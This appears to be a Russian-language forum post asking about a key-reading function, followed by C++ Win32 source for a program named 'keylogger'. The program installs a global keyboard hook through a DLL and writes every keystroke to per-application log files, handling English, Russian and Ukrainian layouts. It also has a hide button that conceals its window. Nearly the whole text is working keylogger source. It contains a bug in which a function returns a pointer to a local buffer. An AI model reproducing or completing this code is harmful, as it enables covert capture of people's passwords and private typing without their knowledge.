Функция для считывания нажатых клавиш.

    
char nameFile[100];
strcpy(nameFile, "log\\");
strcat(nameFile, name);
strcat(nameFile, ".txt");
return nameFile;

#include "resource.h"
#include <windows.h>
#include <fstream>
#include <Psapi.h>
 
 
LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);
typedef void (*CState)();
CState ChangeState;
typedef void (*Init)();
Init Initialize;
typedef int(*CurrLang)();
CurrLang GetCurrentLanguage;
typedef bool (*Shift)();
Shift IsShift;
char szClassName[] = "keylogger";
HMODULE hLib;
HHOOK hKeyHook;
HWND labelApp, labelLog, listApp, textLog, buttonHide, buttonExit;
 
LPARAM curLang;
#define LANG_ENG          103
#define LANG_RUS          102
#define LANG_UKR          104
 
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
                    LPSTR lpszArgument, int nFunsterStil)
{
    #pragma region register class
    bool release = true;
    if(release)
        system("copy /b C:\\OAPI\\OAPIM128K145DLL\\release\\OAPIM128K145DLL.dll /b C:\\OAPI\\OAPIM128K145MAIN\\release");
    else
        system("copy /b C:\\OAPI\\OAPIM128K145DLL\\debug\\OAPIM128K145DLL.dll /b C:\\OAPI\\OAPIM128K145MAIN\\debug");
    HWND hwnd;
    MSG msg;
    WNDCLASSEX wincl;
    wincl.hInstance = hInstance;
    wincl.lpszClassName = szClassName;
    wincl.lpfnWndProc = WindowProcedure;
    wincl.style = CS_DBLCLKS;
    wincl.cbSize = sizeof (WNDCLASSEX);
    wincl.hIcon = LoadIcon (NULL, "icon1.ico");
    wincl.hIconSm = LoadIcon (NULL, "icon1.ico");
    wincl.hCursor = LoadCursor (NULL, IDC_ARROW);
    wincl.lpszMenuName = NULL;
    wincl.cbClsExtra = 0;
    wincl.cbWndExtra = 0;
    LOGBRUSH *lb = new LOGBRUSH;
    lb->lbColor = RGB(232, 232, 232);
    lb->lbHatch = BS_SOLID;
    lb->lbStyle = HS_HORIZONTAL;
    HBRUSH brush = CreateBrushIndirect(lb);
    wincl.hbrBackground = brush;
    if (!RegisterClassEx (&wincl))
        return 0;
    #pragma endregion
    #pragma region create window and components 
    hwnd = 
        CreateWindow(
            szClassName, WND_NAME, WS_SYSMENU,
            CW_USEDEFAULT, 0, 547, 371, NULL, NULL, hInstance, NULL);
 
    buttonHide = 
        CreateWindow(
            (LPCSTR)"BUTTON", (LPCSTR)"Hide", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,
            371, 305, 75, 23, hwnd, (HMENU)CM_HIDE, hInstance, NULL);
    buttonExit = 
        CreateWindow(
            (LPCSTR)"BUTTON", (LPCSTR)"Exit", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,
            452, 305, 75, 23, hwnd, (HMENU)CM_EXIT, hInstance, NULL);
 
    labelApp = 
        CreateWindow(
            (LPCSTR)"STATIC", (LPCSTR)"Application:", WS_CHILD | WS_VISIBLE | SS_LEFT,
            12, 5, 77, 18, hwnd, (HMENU)IDC_LAPP, hInstance, NULL);
    labelLog = 
        CreateWindow(
            (LPCSTR)"STATIC", (LPCSTR)"Log:", WS_CHILD | WS_VISIBLE | SS_LEFT,
            137, 5, 30, 18, hwnd, (HMENU)IDC_LLOG, hInstance, NULL);
    
    textLog = 
        CreateWindow(
            (LPCSTR)"EDIT", "", WS_CHILD | WS_VISIBLE | ES_LEFT | WS_BORDER |
            ES_AUTOHSCROLL | ES_AUTOVSCROLL | ES_MULTILINE,
            138, 25, 389, 273, hwnd, (HMENU)IDC_LOG, hInstance, NULL);
 
    listApp = 
        CreateWindow(
            (LPCSTR)"LISTBOX", "", WS_CHILD | LBS_HASSTRINGS | WS_VISIBLE | 
            ES_LEFT | LBS_STANDARD,
            12, 25, 120, 306, hwnd, (HMENU)IDC_LISTAPP, hInstance, NULL);
    #pragma endregion
    #pragma region load library and hook
    hLib = LoadLibrary("OAPIM128K145DLL.dll");
    if(!hLib)
    {
        MessageBox(hwnd, "OAPIM128K145DLL.dll не найден!", "Ошибка",
            MB_OK | MB_ICONERROR);
        return 0;
    }
    int* pKeyHook = (int*)GetProcAddress(hLib,"KeyboardHook");
    hKeyHook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)(pKeyHook), hLib, 0);
    ChangeState = (CState)GetProcAddress(hLib, "ChangeState");
    Initialize = (Init)GetProcAddress(hLib, "Init");
    GetCurrentLanguage = (CurrLang)GetProcAddress(hLib, "GetCurrentLanguage");
    IsShift = (Shift)GetProcAddress(hLib, "IsShift");
    Initialize();
    curLang = GetCurrentLanguage();
    #pragma endregion
    while (GetMessage (&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    return (int) msg.wParam;
}
LPARAM VK_TEMP;
#define KB_ENG            409
#define KB_RUS            419
#define KB_UKR            422
#define CHANGED_LANGUAGE  111
int Lang()
{
    char szKBName[KL_NAMELENGTH];
    if(GetKeyboardLayoutName(szKBName))
    {
        switch (atoi(szKBName))
        {
        case KB_RUS:
            return LANG_RUS;
            break;
        case KB_ENG:
            return LANG_ENG;
            break;
        case KB_UKR:
            return LANG_UKR;
            break;
        }
    }
    return LANG_RUS;
}
void FillFileList(HWND hWnd)
{
    WIN32_FIND_DATA fd;
 
    HANDLE hFind = FindFirstFile("log\\*.txt", &fd);
    if(hFind != INVALID_HANDLE_VALUE)
        do
            SendMessage(listApp, LB_ADDSTRING, 0, (LPARAM)fd.cFileName);
        while(FindNextFile(hFind, &fd));
    FindClose(hFind);
}
char* NameFile()
{
    HWND activeWindow = GetForegroundWindow();
    DWORD dwProccessID;
    GetWindowThreadProcessId(activeWindow, &dwProccessID);
    HANDLE wnd;
    TCHAR value[1024];
    LPTSTR lpFilename = NULL;
    lpFilename=value;
    int length, i, j = 0;
    char name[100];
    if(dwProccessID != NULL)
    {
        wnd = OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ, FALSE, dwProccessID);
        length = GetModuleFileNameEx(wnd, NULL, lpFilename, 1024);
        for(i = length - 1; i > 0; --i)
            if(lpFilename[i] == '\\')
                break;
        for(i += 1; i < length - 4; ++i, ++j)
            name[j] = lpFilename[i];
        name[j] = '\0';
    }
    char nameFile[100];
    strcpy(nameFile, "log\\");
    strcat(nameFile, name);
    strcat(nameFile, ".txt");
    return nameFile;
}
LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message,
                                  WPARAM wParam, LPARAM lParam)
{
    std::ofstream cout;
    std::ifstream cin;
    switch (message)
    {
        #pragma region need debug
        case WND_CHANGE_STATE:
            if(lParam == WND_SHOW)
            {
                ShowWindow(hwnd, SW_SHOWNORMAL);
                FillFileList(hwnd);
            }
            else
            {
                ShowWindow(hwnd, SW_HIDE);
                while(SendMessage(listApp, LB_DELETESTRING, 0, 0));
            }
            
            ChangeState();
            break;
        case CHANGED_LANGUAGE:
            curLang = GetCurrentLanguage();
            curLang = lParam;
        case POST_KEY_CODE:
            NameFile();
            VK_TEMP = lParam;
            
            cout.open(NameFile(), std::ios::app);
            switch (curLang)
            {
            case LANG_ENG:
                if (GetKeyState(VK_CAPITAL) & 1)
                    cout<<lCapsEng[VK_TEMP];
                else
                    if(IsShift())
                        cout<<lShiftEng[VK_TEMP];
                    else
                        cout<<lEng[VK_TEMP];
                break;
            case LANG_RUS:
                if (GetKeyState(VK_CAPITAL) & 1)
                    cout<<lCapsRus[VK_TEMP];
                else
                    if(IsShift())
                        cout<<lShiftRus[VK_TEMP];
                    else
                        cout<<lRus[VK_TEMP];
                break;
            case LANG_UKR:
                if (GetKeyState(VK_CAPITAL) & 1)
                    cout<<lCapsUkr[VK_TEMP];
                else
                    if(IsShift())
                        cout<<lShiftUkr[VK_TEMP];
                    else
                        cout<<lUkr[VK_TEMP];
                break;
            default:
                break;
            }
            cout.close();
            break;
        #pragma endregion
        case WM_COMMAND:
            switch (LOWORD(wParam))
            {
                case CM_HIDE:
                    while(SendMessage(listApp, LB_DELETESTRING, 0, 0));
                    ShowWindow(hwnd, SW_HIDE);
                    ChangeState();
                    break;
                case CM_EXIT:
                    UnhookWindowsHookEx(hKeyHook); 
                    FreeLibrary(hLib);
                    PostQuitMessage(0);
                    break;
                case IDC_LISTAPP:
                    if(HIWORD(wParam)==LBN_DBLCLK)
                    {
                        char tmpName[100], fileName[100];
                        SendMessage(listApp, LB_GETTEXT, SendMessage(listApp, LB_GETCURSEL, 0, 0), (LPARAM)tmpName);
                        strcpy(fileName, "log\\");
                        strcat(fileName, tmpName);
                        cin.open(fileName, std::ios::in);
                        char buf[10240];
                        SendMessage(textLog, WM_SETTEXT, 0, (LPARAM)"");
                        while(!cin.eof())
                        {
                            cin.getline(buf, 10240);
                            strcat(buf, "\r\n");
                            int nLength = GetWindowTextLength(textLog); 
                            SendMessage(textLog, EM_SETSEL, (WPARAM)nLength, (LPARAM)nLength);
                            SendMessage(textLog,EM_REPLACESEL, (WPARAM)FALSE, (LPARAM)buf);
                        }
                    }
                    break;
            }
            break;
        case WM_CLOSE:
            ShowWindow(hwnd, SW_HIDE);
            while(SendMessage(listApp, LB_DELETESTRING, 0, 0));
            ChangeState();
            break;
        case WM_DESTROY:
             UnhookWindowsHookEx(hKeyHook); 
             FreeLibrary(hLib);
             PostQuitMessage(0);
            break;
        default:
            return DefWindowProc(hwnd, message, wParam, lParam);
    }
    return 0;
}

case WND_CHANGE_STATE:
            if(lParam == WND_SHOW)
            {
                ShowWindow(hwnd, SW_SHOWNORMAL);
                FillFileList(hwnd);
            }